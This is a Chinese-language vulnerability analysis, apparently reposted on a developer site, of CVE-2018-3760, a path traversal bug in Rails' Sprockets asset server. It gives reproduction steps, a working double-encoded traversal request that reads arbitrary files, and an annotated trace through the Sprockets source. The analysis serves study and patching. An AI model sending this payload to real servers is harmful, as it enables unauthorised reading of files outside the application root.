内容简介:该漏洞由安全研究人员影响面: development servers,且开启了本地安装好ruby和rails。以ruby 2.4.4 ,rails v5.0.7为例:
漏洞公告
该漏洞由安全研究人员 Orange Tsai 发现。漏洞公告来自 https://groups.google.com/forum/#!topic/rubyonrails-security/ft_J--l55fM
There is an information leak vulnerability in Sprockets. This vulnerability has been assigned the CVE identifier CVE-2018-3760. Versions Affected: 4.0.0.beta7 and lower, 3.7.1 and lower, 2.12.4 and lower. Not affected: NONE Fixed Versions: 4.0.0.beta8, 3.7.2, 2.12.5 Impact ------ Specially crafted requests can be used to access files that exists on the filesystem that is outside an application's root directory, when the Sprockets server is used in production. All users running an affected release should either upgrade or use one of the work arounds immediately.
影响面: development servers,且开启了 config.assets.compile
漏洞复现
本地安装好 ruby 和rails。以ruby 2.4.4 ,rails v5.0.7为例:
$ gem install rails -v 5.0.7 $ rails new blog && cd blog
此时blog这个rails项目使用的sprockets版本是3.7.2(fixed)。修改blog目录下的Gemfile.lock第122行:
sprockets (3.7.1)
修改配置文件 config/environments/production.rb
:
config.assets.compile = true
在blog目录下执行
$ bundle install $ rails server * Min threads: 5, max threads: 5 * Environment: development * Listening on tcp://0.0.0.0:3000 Use Ctrl-C to stop
payload:
GET /assets/file:%2f%2f//C:/chybeta/blog/app/assets/config/%252e%252e%2f%252e%2e%2f%252e%2e%2f%252e%2e%2f%252e%2e%2f%252e%2e%2f%252e%2e%2fWindows/win.ini
win平台:
linux平台
漏洞分析
注:为明白起见,许多分析直接写在代码注释部分,请留意。
问题出在 sprockets
,它用来检查 JavaScript 文件的相互依赖关系,用以优化网页中引入的js文件,以避免加载不必要的js文件。当访问如 http://127.0.0.1:3000/assets/foo.js
时,会进入server.rb:
def call(env) start_time = Time.now.to_f time_elapsed = lambda { ((Time.now.to_f - start_time) * 1000).to_i } if !['GET', 'HEAD'].include?(env['REQUEST_METHOD']) return method_not_allowed_response end msg = "Served asset #{env['PATH_INFO']} -" # Extract the path from everything after the leading slash path = Rack::Utils.unescape(env['PATH_INFO'].to_s.sub(/^\//, '')) # Strip fingerprint if fingerprint = path_fingerprint(path) path = path.sub("-#{fingerprint}", '') end # 此时path值为 file:///C:/chybeta/blog/app/assets/config/%2e%2e/%2e./%2e./%2e./%2e./%2e./%2e./Windows/win.ini # URLs containing a `".."` are rejected for security reasons. if forbidden_request?(path) return forbidden_response(env) end ... asset = find_asset(path, options) ...
forbidden_request
用来对path进行检查,是否包含 ..
以防止路径穿越,是否是绝对路径:
private def forbidden_request?(path) # Prevent access to files elsewhere on the file system # # http://example.org/assets/../../../etc/passwd # path.include?("..") || absolute_path?(path) end
如果请求中包含 ..
即返回真,然后返回forbidden_response(env)信息。
回到call函数,进入 find_asset(path, options)
,在 lib/ruby/gems/2.4.0/gems/sprockets-3.7.1/lib/sprockets/base.rb:63:
# Find asset by logical path or expanded path. def find_asset(path, options = {}) uri, _ = resolve(path, options.merge(compat: false)) if uri # 解析出来的 uri 值为 file:///C:/chybeta/blog/app/assets/config/%2e%2e/%2e./%2e./%2e./%2e./%2e./%2e./Windows/win.ini load(uri) end end
跟进 load
,在 lib/ruby/gems/2.4.0/gems/sprockets-3.7.1/lib/sprockets/loader.rb:32 。以请求 GET /assets/file:%2f%2f//C:/chybeta/blog/app/assets/config/%252e%252e%2f%252e%2e%2f%252e%2e%2f%252e%2e%2f%252e%2e%2f%252e%2e%2f%252e%2e%2fWindows/win.ini
为例,其一步步的解析过程见下注释:
def load(uri) # 此时 uri 已经经过了一次的url解码 # 其值为 file:///C:/chybeta/blog/app/assets/config/%2e%2e/%2e./%2e./%2e./%2e./%2e./%2e./Windows/win.ini unloaded = UnloadedAsset.new(uri, self) if unloaded.params.key?(:id) ... else asset = fetch_asset_from_dependency_cache(unloaded) do |paths| # When asset is previously generated, its "dependencies" are stored in the cache. # The presence of `paths` indicates dependencies were stored. # We can check to see if the dependencies have not changed by "resolving" them and # generating a digest key from the resolved entries. If this digest key has not # changed the asset will be pulled from cache. # # If this `paths` is present but the cache returns nothing then `fetch_asset_from_dependency_cache` # will confusingly be called again with `paths` set to nil where the asset will be # loaded from disk. # 当存在缓存时 if paths load_from_unloaded(unloaded) digest = DigestUtils.digest(resolve_dependencies(paths)) if uri_from_cache = cache.get(unloaded.digest_key(digest), true) asset_from_cache(UnloadedAsset.new(uri_from_cache, self).asset_key) end else # 当缓存不存在,主要考虑这个 load_from_unloaded(unloaded) end end end Asset.new(self, asset) end
跟入 UnloadedAsset.new
class UnloadedAsset def initialize(uri, env) @uri = uri.to_s @env = env @compressed_path = URITar.new(uri, env).compressed_path @params = nil # lazy loaded @filename = nil # lazy loaded 具体实现见下面 end ... # Internal: Full file path without schema # # This returns a string containing the full path to the asset without the schema. # Information is loaded lazilly since we want `UnloadedAsset.new(dep, self).relative_path` # to be fast. Calling this method the first time allocates an array and a hash. # # Example # # If the URI is `file:///Full/path/app/assets/javascripts/application.js"` then the # filename would be `"/Full/path/app/assets/javascripts/application.js"` # # Returns a String. # 由于采用了Lazy loaded,当第一次访问到filename这个属性时,会调用下面这个方法 def filename unless @filename load_file_params # 跟进去,见下 end @filename end ... # 第 130 行 private # Internal: Parses uri into filename and params hash # # Returns Array with filename and params hash def load_file_params # uri 为 file:///C:/chybeta/blog/app/assets/config/%2e%2e/%2e./%2e./%2e./%2e./%2e./%2e./Windows/win.ini @filename, @params = URIUtils.parse_asset_uri(uri) end
跟入 URIUtils.parse_asset_uri
def parse_asset_uri(uri) # uri 为 file:///C:/chybeta/blog/app/assets/config/%2e%2e/%2e./%2e./%2e./%2e./%2e./%2e./Windows/win.ini # 跟进 split_file_uri scheme, _, path, query = split_file_uri(uri) ... return path, parse_uri_query_params(query) end ...# 省略 def split_file_uri(uri) scheme, _, host, _, _, path, _, query, _ = URI.split(uri) # 此时解析出的几个变量如下: # scheme: file # host: # path: /C:/chybeta/blog/app/assets/config/%2e%2e/%2e./%2e./%2e./%2e./%2e./%2e./Windows/win.ini # query: path = URI::Generic::DEFAULT_PARSER.unescape(path) # 这里经过第二次的url解码 # path:/C:/chybeta/blog/app/assets/config/../../../../../../../Windows/win.ini path.force_encoding(Encoding::UTF_8) # Hack for parsing Windows "file:///C:/Users/IEUser" paths path.gsub!(/^\/([a-zA-Z]:)/, '\1'.freeze) # path: C:/chybeta/blog/app/assets/config/../../../../../../../Windows/win.ini [scheme, host, path, query] end
在完成了filename解析后,我们回到 load
函数末尾,进入 load_from_unloaded(unloaded)
:
# Internal: Loads an asset and saves it to cache # # unloaded - An UnloadedAsset # # This method is only called when the given unloaded asset could not be # successfully pulled from cache. def load_from_unloaded(unloaded) unless file?(unloaded.filename) raise FileNotFound, "could not find file: #{unloaded.filename}" end load_path, logical_path = paths_split(config[:paths], unloaded.filename) unless load_path raise FileOutsidePaths, "#{unloaded.filename} is no longer under a load path: #{self.paths.join(', ')}" end ....
主要是进行了两个检查:文件是否存在和是否在合规目录里。主要关注第二个检测。其中 config[:paths]
是允许的路径,而 unloaded.filename
是请求的路径文件名。跟入 lib/ruby/gems/2.4.0/gems/sprockets-3.7.2/lib/sprockets/path_utils.rb:120:
# Internal: Detect root path and base for file in a set of paths. # # paths - Array of String paths # filename - String path of file expected to be in one of the paths. # # Returns [String root, String path] def paths_split(paths, filename) # 对paths中的每一个 path paths.each do |path| # 如果subpath不为空 if subpath = split_subpath(path, filename) # 则返回 path, subpath return path, subpath end end nil end
继续跟入 split_subpath
, lib/ruby/gems/2.4.0/gems/sprockets-3.7.2/lib/sprockets/path_utils.rb:103。假设上面传入的path参数是``。
# Internal: Get relative path for root path and subpath. # # path - String path # subpath - String subpath of path # # Returns relative String path if subpath is a subpath of path, or nil if # subpath is outside of path. def split_subpath(path, subpath) return "" if path == subpath # 此时 path 为 C:/chybeta/blog/app/assets/config/../../../../../../../Windows/win.ini path = File.join(path, '') # 此时 path 为 C:/chybeta/blog/app/assets/config/../../../../../../../Windows/win.ini/ # 与传入的绝对路径进行比较 # 如果以 允许的路径 为开头,则检查通过。 if subpath.start_with?(path) subpath[path.length..-1] else nil end end
通过检查后,在 load_from_unloaded
末尾即进行了读取等操作,从而通过路径穿越造成任意文件读取。
如果文件以 .erb
结尾,则会直接执行:
补丁
在server.rb中,增加关键字过滤 ://
。
Reference
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- Ruby on Rails路径穿越与任意文件读取漏洞分析(CVE-2019-5418)
- Ruby on Rails 路径穿越与任意文件读取漏洞分析 - 【CVE-2019-5418】
- 深入解析Java绝对路径与相对路径
- C#/.NET 如何确认一个路径是否是合法的文件路径
- GAC 与其物理路径
- 关键渲染路径优化
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Just My Type
Simon Garfield / Profile Books / 2010-10-21 / GBP 14.99
What's your type? Suddenly everyone's obsessed with fonts. Whether you're enraged by Ikea's Verdanagate, want to know what the Beach Boys have in common with easy Jet or why it's okay to like Comic Sa......一起来看看 《Just My Type》 这本书的介绍吧!